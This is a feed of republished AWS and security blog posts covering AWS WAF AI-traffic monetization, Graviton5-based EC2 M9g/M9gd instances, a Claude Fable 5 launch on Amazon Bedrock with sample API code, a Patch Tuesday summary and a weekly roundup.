Since the Currency mode toggle is available directly in the monetization configuration page, you can switch between Real and Test mode at any time. Before going live, use test mode on non-production traffic to validate pricing, wallet configuration, and x402 payment flows. Note that test mode still enforces x402 payments, but those payments can be made on testnets such as Base Sepolia or Solana Devnet using test funds obtained from faucets such as faucet.circle.com. To activate test mode, toggle Currency mode to Test in your protection pack configuration. AWS WAF returns real price manifests and runs the full payment flow identically to production on the configured test chain. All events are logged with CurrencyMode: TEST. When satisfied with the configuration, toggle Currency mode back to Real to begin processing real payments.

Once you have switched Currency mode to Real, navigate to AI access monetization in the left navigation pane to track monetization outcomes in real time. Note that the AI access monetization dashboard only reflects activity from real currency mode and does not display test transactions.

The Revenue dashboard shows Total revenue, revenue broken down by Verified bots and Unverified bots, and Avg. per request. The Top revenue sources panel groups earnings by bot category, and the AI access patterns panel ranks content paths by revenue generated. Use the Settlements tab to reconcile payments by provider and review payment method distribution and failed payment attempts.

Now Available
AI traffic monetization is available now for Amazon CloudFront customers at no additional charge beyond standard AWS WAF pricing. The capability is available in all edge locations where AWS WAF web ACLs are associated with Amazon CloudFront distributions.

To learn more about AI traffic monetization, see the AWS WAF Developer Guide.

— Esra

AWS

Now available: Amazon EC2 M9g and M9gd instances powered by new AWS Graviton5 processors

Leave a comment
This post was originally published on this site

AWS Graviton processors have improved steadily across generations, with each iteration delivering advances in compute performance, price-performance, and energy efficiency. At re:Invent 2025, we announced Amazon EC2 M9g, the first Graviton5-powered instances, in preview. Since then, customers have tested M9g across a wide range of workloads and shared their results. ClickHouse saw a 36% performance boost compared to M8g, with zero code changes. Honeycomb achieved 36% better throughput per core compared to Graviton4, across a 6-month A/B test of production observability workloads. HubSpot deployed M9g for MySQL databases and saw query duration drop by up to 60%. Today, M9g instances are generally available, alongside the new M9gd instances for customers who need high-speed, low-latency local NVMe SSD storage. Both are powered by Graviton5, the most powerful and most energy efficient processor AWS has ever built.

While many Arm-based instances have been introduced across the industry, no one comes close to the breadth and depth of the AWS Graviton footprint. After five generations of custom silicon and eight years of continuous investment, Graviton powers over 350 instance types serving more than 120,000 customers, from startups to large enterprises, a robust ISV partner ecosystem, and a broad set of managed services. You can use Graviton for a broad variety of workloads, including web applications, microservices, analytics, databases, machine learning (ML) inference, electronic design automation (EDA), gaming, and video encoding. As workloads grow more compute-intensive and data-driven, many have asked for more processing power, along with greater network and storage bandwidth to move more data and complete workloads faster. We’ve also designed these instances to efficiently package compute, memory, and I/O to maximize energy utilization.

As AI shifts from answering questions to taking actions, running code, using tools, evaluating results, and orchestrating multi-step tasks, the demand for CPU compute is growing rapidly. Graviton5 is built for this shift. With 192 cores, a 5x larger L3 cache, up to 33% lower inter-core latency, and DDR5 memory delivering high bandwidth, Graviton5 helps agents spend less time waiting on CPU-bound steps, processing more instructions, handling large numbers of concurrent environments, and keeping accelerators moving.

Meta is deploying Graviton at scale starting with tens of millions of cores to support its agentic AI efforts, making Meta one of the largest Graviton customers in the world. Agentic AI workloads, including real-time reasoning, code generation, and the orchestration of multi-step tasks, are CPU-intensive and benefit from the higher compute performance, larger caches, higher memory bandwidth, and core density in Graviton5.

What’s new in M9g and M9gd
Built on the sixth-generation AWS Nitro System, M9g instances are powered by AWS Graviton5 processors that deliver higher compute performance, larger caches, and improved memory and I/O scalability compared to Graviton4 processors. Graviton5 offers up to 25% better compute performance compared to Graviton4-based instances, with up to 35% faster performance for web applications, up to 35% for machine learning inference, and up to 30% for databases. As the first CPU in the AWS fleet to support the latest generation of PCIe Gen6 and DDR5-8800 memory, AWS Graviton5 instances deliver the fastest memory of any processor instances in the cloud, and 5 times more L3 cache compared to the previous generation. These improvements also come with better energy efficiency, helping you meet sustainability targets without compromising capability.

Networking and storage bandwidth have been expanded to keep pace with compute growth. M9g and M9gd instances offer up to 15% higher network bandwidth and 20% higher Amazon Elastic Block Store (Amazon EBS) bandwidth on average across sizes, with up to twice the network bandwidth for the largest instance size. M9g and M9gd instances also support Instance Bandwidth Configuration (IBC), a feature that helps you adjust the allocation of bandwidth between Amazon EBS and Amazon Virtual Private Cloud (Amazon VPC) networking for an Amazon EC2 instance by up to 25%. IBC can help optimize performance for workloads with specific bandwidth requirements, such as database read and write performance, query processing, and logging. These enhancements support faster data movement and improved throughput for workloads that rely on high I/O performance.

Security and isolation are foundational requirements for running workloads in the cloud. Within the Nitro System, the AWS Nitro Hypervisor is designed to isolate instances from each other as well as AWS operators. With M9g and M9gd instances we are raising the bar on security even further with the introduction of Nitro Isolation Engine. Nitro Isolation Engine is an enhancement to the Nitro System, which enforces isolation of instances and harnesses formal verification to provide assurances of isolation with mathematical precision. Nitro Isolation Engine is a purpose-built component that is responsible for enforcing isolation between virtual machines, including mediation of all access to virtual machine memory, CPU register state, and I/O devices through a minimal set of APIs. Nitro Isolation Engine leverages formal verification, a technique to mathematically demonstrate that the hardware or software behaves as intended, and not just in specific test cases. This intensive verification technique establishes Nitro as the first formally verified cloud hypervisor, pioneering a new standard for mathematically proven cloud security.

M9g instances provide one vCPU for every four GiB of memory and are well suited for a broad range of general-purpose workloads, including application servers, microservices, midsize data stores, gaming servers, caching fleets, containerized applications, large-scale Java applications, code repositories, web applications, and agentic AI.

For workloads that need high-speed, low-latency local storage, M9gd instances provide up to 11.4 TB of NVMe SSD storage and 30% higher IOPS and storage performance compared to Graviton4-based M8gd instances. M9gd instances are well suited for general-purpose workloads that require a balance of compute and memory with high-speed, low-latency local storage, including application servers, microservices, gaming servers, midsize key-value data stores, caching fleets, data logging, media processing, batch and log processing, and applications that need temporary storage such as caches and scratch files.

Here are the key specifications across the family:

M9g vCPUs Memory (GiB) Network bandwidth (Gbps) EBS bandwidth (Gbps)
medium 1 4 Up to 15 Up to 12
large 2 8 Up to 15 Up to 12
xlarge 4 16 Up to 15 Up to 12
2xlarge 8 32 Up to 17 Up to 12
4xlarge 16 64 Up to 17 Up to 12
8xlarge 32 128 17 12
12xlarge 48 192 25 18
16xlarge 64 256 34 24
24xlarge 96 384 50 36
48xlarge 192 768 100 72
metal-48xl 192 768 100 72

M9gd instances include local NVMe SSD storage. The table below shows the instance storage for each size. Compute, memory, network, and EBS bandwidth specifications are the same as M9g.

M9gd vCPUs Memory (GiB) Instance storage (GB) Network bandwidth (Gbps) EBS bandwidth (Gbps)
medium 1 4 1 x 59 NVMe SSD Up to 15 Up to 12
large 2 8 1 x 118 NVMe SSD Up to 15 Up to 12
xlarge 4 16 1 x 237 NVMe SSD Up to 15 Up to 12
2xlarge 8 32 1 x 475 NVMe SSD Up to 17 Up to 12
4xlarge 16 64 1 x 950 NVMe SSD Up to 17 Up to 12
8xlarge 32 128 1 x 1900 NVMe SSD 17 12
12xlarge 48 192 3 x 950 NVMe SSD 25 18
16xlarge 64 256 1 x 3800 NVMe SSD 34 24
24xlarge 96 384 3 x 1900 NVMe SSD 50 36
48xlarge 192 768 3 x 3800 NVMe SSD 100 72
metal-48xl 192 768 3 x 3800 NVMe SSD 100 72

Now available
M9g and M9gd instances are available in the US East (N. Virginia), US East (Ohio), US West (Oregon), and Europe (Frankfurt) Regions. M9g and M9gd instances are available for purchase through Savings Plans, On-Demand, Spot Instances, Dedicated Instances, or Dedicated Hosts. For more information, visit Amazon EC2 pricing.

To get started with M9g and M9gd instances, several resources are available. The AWS Graviton Getting Started Guide is a technical guide covering how to build, run, and optimize workloads on Graviton-based instances. The Graviton Savings Dashboard helps you track and measure the cost savings from running workloads on Graviton-based instances. And AWS Transform is an AI-powered service that automates code transformations for migrating Java applications from x86 to Graviton-based Amazon EC2 instances, handling compatibility analysis, automated recompilation, dependency updates, and validation.

To learn more about Graviton-based instances, visit AWS Graviton Processors or Level up your compute with AWS Graviton.

— Esra

Security

How has use of framing protection security headers changed in the past 3 years?, (Wed, Jun 10th)

Leave a comment
This post was originally published on this site

Back in 2023, I wrote a diary[1] discussing how commonly X-Frame-Options and CSP headers containing the frame-ancestors directive were used on 1 million most popular domains on the internet (based on the Tranco list[2]), and how they were set. Given that three years have passed since then, I thought it might be interesting to repeat the analysis and see what – if anything – has changed in the meantime.

AWS

Anthropic Claude Fable 5 on AWS: Mythos-class capabilities with built-in safeguards now available

Leave a comment
This post was originally published on this site

Today, we’re announcing the availability of Claude Fable 5 on Amazon Bedrock and Claude Platform on AWS. Claude Fable 5 makes Mythos-level capabilities available to customers, with strong safeguards designed to make it safe for broader use. Fable 5 is state-of-the-art on nearly all tested benchmarks and delivers exceptional performance in software engineering, knowledge work tasks, and vision – built for ambitious, long running work.

With Claude Fable 5 on Bedrock, you can build within your existing AWS environment and scale inference workloads. You can also use Claude Fable 5 through the Claude Platform on AWS, giving you Anthropic’s native platform experience.

According to Anthropic, Claude Fable 5 represents a step-change in what you can accomplish with AI models. Here is what makes this model different:

  • Long-running, asynchronous execution — Claude Fable 5 handles complex tasks that previous models could not sustain, executing coding and knowledge work tasks for extended periods without intervention.
  • Advanced vision capabilities — Claude Fable 5 understands diagrams, charts, and tables nested in files and PDFs. This opens up research and document-heavy work in finance, legal, analytics, architecture, and gaming. In coding, the model implements designs with high fidelity and uses vision to critique its output against goals.
  • Proactive self-verification — The model self-updates skills based on learnings, develops its own harnesses and evaluations.

Claude Fable 5 includes safeguards that limit its performance in specific areas where misuse risk is elevated. Harmful prompts related to cybersecurity, biology, chemistry, and health fall back to receive a response from Opus 4.8 instead. Anthropic is able to expand access to nearly all of Claude Fable 5’s state-of-the-art capabilities by developing more powerful safeguards. The same model without these limits is Claude Mythos 5 and it will only be available to a small group of vetted customers.

Claude Fable 5 model in action
You can use Claude Fable 5 in both Amazon Bedrock and Claude Platform on AWS. This post will cover guidance on how to access and use on Amazon Bedrock. For guidance on the Claude Platform on AWS, visit the documentation to learn more.

To get started with Amazon Bedrock, you can access the model programmatically now using the Anthropic Messages API to call the bedrock-runtime or bedrock-mantle endpoints through Anthropic SDK. You can sole keep using the Invoke and Converse API on bedrock-runtime through the AWS Command Line Interface (AWS CLI) and AWS SDK.

In order to access Claude Fable 5 model, you must opt into data sharing by using the Data Retention API and setting provider_data_sharing before you can invoke the models. There is no console user interface for this setting at launch.

curl -X PUT https://bedrock-mantle.us-east-1.api.aws/v1/data_retention 
  -H "x-api-key: <your-bedrock-api-key>"  
  -H "Content-Type: application/json" 
  -d '{ "mode": "provider_data_share" }'

This mode allows Amazon Bedrock to retain and share your inference data with model providers per their requirements. Anthropic requires 30-day inputs and outputs retention, as well as human review. To learn more, visit the Amazon Bedrock abuse detection.

Let’s start with Anthropic SDK for Python using the Messages API on bedrock-mantle endpoint. Install Anthropic SDK.

pip install anthropic

Here is a sample Python code to call Claude Fable 5 model:

import anthropic

client = anthropic.Anthropic(
    base_url="https://bedrock-mantle.us-east-1.api.aws/anthropic",
    api_key= <your-bedrock-api-key>
)

message = client.messages.create( 
     model="anthropic.claude-fable-5", 
	 max_tokens=4096, 
	 messages=[ 
	     { "role": "user", 
		   "content": "Design a distributed architecture on AWS in Python that should support 100k requests per second across multiple geographic regions", 
		 }, 
	 ], 
)

print(message.content[0].text)

To learn more, check out Anthropic Messages API code examples and notebook examples for multiple use cases and a variety of programming languages.

You can also use Claude Fable 5 with the Invoke API and Converse API on bedrock-runtime endpoint. Here’s a example to call Converse API for a unified multi-model experience using the AWS SDK for Python (Boto3):

import boto3 
bedrock_runtime = boto3.client("bedrock-runtime", region_name="us-east-1") 
response = bedrock_runtime.converse( 
    modelId="us.anthropic.claude-fable-5", 
    messages=[ 
        { 
            "role": "user", 
            "content": [ 
                { 
                    "text": "Design a distributed architecture on AWS in Python that should support 100k requests per second across multiple geographic regions." 
                } 
            ] 
        } 
    ], 
    inferenceConfig={ 
        "maxTokens": 4096 
    } 
) 
print(response["output"]["message"]["content"][0]["text"])

To learn more, visit code examples that show how to use Amazon Bedrock Runtime with AWS SDKs.

Things to know
Let me share some important technical details that I think you’ll find useful.

  • Model access — Claude Fable 5 access is gradually expanding for all AWS accounts. If your account doesn’t have access yet, it will be enabled soon depending on your Bedrock usage. If you want to get access to this model quickly, contact your usual AWS Support.
  • Pricing — When a harmful prompt is routed to Opus 4.8 instead of Fable 5, you pay only Opus prices. If a request is blocked mid-conversation, initial tokens are charged at Fable rates and subsequent tokens at Opus rates. To learn more, visit the Amazon Bedrock pricing page.
  • Data retention — For Fable 5, Mythos 5, and future models on Bedrock with similar or higher capability levels, Anthropic will require 30-day retention for all traffic on Mythos-class models. Retaining data for a limited period allows Anthropic to detect patterns of misuse that are not visible from a single exchange. Once you opt into data retention, your data will leave AWS’s data and security boundary.
  • Claude Mythos 5 on Bedrock (Limited Preview) — You can also use Anthropic’s most capable model for cybersecurity and life sciences, including vulnerability discovery, drug design, and biodefense screening. Access is currently limited due to the dual-use nature of these domains. To learn more, visit the model card documentation.

Now available
Anthropic’s Claude Fable 5 model is available today on Amazon Bedrock in the US East (N. Virginia) and Europe (Stockholm) Regions; check the full list of Regions for future updates. Claude Fable 5 is also available on the Claude Platform on AWS in North America, South America, Europe, and Asia Pacific.

Give Claude Fable 5 a try with the Amazon Bedrock APIs, in the Claude Platform on AWS, and send feedback to AWS re:Post for Amazon Bedrock or through your usual AWS Support contacts.

— Channy

Updated on June 9, 2026 — You can use the console on bedrock-runtime engine. The console support on bedrock-mantle is coming soon.

Security

Microsoft June 2026 Patch Tuesday, (Tue, Jun 9th)

Leave a comment
This post was originally published on this site

Microsoft today released patches for 204 vulnerabilities. 38 of these vulnerabilities are considered critical, and three have been disclosed before today. Six of the vulnerabilities affect Microsoft cloud solutions and do not require any user action. In addition, Microsoft incorporated 360 different vulnerabilities affecting Chromium into its Edge browser.

AWS

AWS Weekly Roundup: BYOM for Amazon RDS for SQL Server, AWS IoT Device SDK for Swift, and more (June 8, 2026)

Leave a comment
This post was originally published on this site

This week, the AWS IoT Device SDK for Swift reached general availability. As a member of the Swift Server Workgroup (SSWG), this one caught my attention. The SDK brings production-ready MQTT 5 connectivity, Device Shadow, Jobs, and fleet provisioning to Swift developers on macOS, iOS, tvOS, and Linux.

Swift on IoT and Edge devices, an AI generated illustration

I’m curious to see what you will build with it. Swift on the server has matured over the past few years, and now it reaches IoT devices too. This connects to a broader trend of running Swift at the edge. WendyOS, for example, is an open-source operating system for physical AI that offers first-class Swift support for deploying apps to NVIDIA Jetson and Raspberry Pi hardware. Between server-side Swift, IoT, and edge computing, the language is showing up in places that would have surprised most people a few years ago.

Now, let’s get into this week’s AWS news.

Headlines
Amazon RDS for SQL Server supports Bring Your Own Media — Customers who migrate SQL Server applications from on-premises environments can now reuse their existing Microsoft SQL Server licenses, including Software Assurance, through Microsoft’s License Mobility program on Amazon RDS. BYOM is integrated with AWS License Manager for tracking license usage and compliance. Read more.

Amazon Cognito now supports multi-Region replication — You can now synchronize user and machine identity data, including credentials, user pool configurations, and federation setups, to a secondary user pool in a standby Region in near real-time. In the event of a disruption in the primary Region, signed-in users continue accessing their applications without re-authenticating, and registered users can sign in with their existing credentials. Multi-Region replication is available as an add-on for user pools in Essentials or Plus feature tiers across 16 Regions. Read more.

GPT-5.5, GPT-5.4, and Codex from OpenAI are now generally available on Amazon Bedrock — You can now use GPT-5.5 and GPT-5.4 in production workloads on Amazon Bedrock and build with Codex for AI-powered software development, with the same security, governance, and operational controls you already use across AWS. GPT-5.5 is the most capable model from OpenAI, excelling at agentic coding, data analysis, and multi-step autonomous tasks. Codex is available through the Codex App, the Codex CLI, and IDE integrations with Visual Studio Code, JetBrains, and Xcode. Pricing matches OpenAI first-party rates, and usage counts toward existing AWS commitments. Read more.

Last week’s launches
Here are some launches and updates from this past week that caught my attention:

For a full list of AWS announcements, be sure to keep an eye on the What’s New with AWS page.

Upcoming AWS events
Learn more about AWS, browse and join upcoming AWS-led in-person and virtual events, startup events, and developer-focused events as well as AWS Summits and AWS Community Days. Join the AWS Builder Center to connect with builders, share solutions, and access content that supports your development.

That’s all for this week. Check back next Monday for another Weekly Roundup!

— seb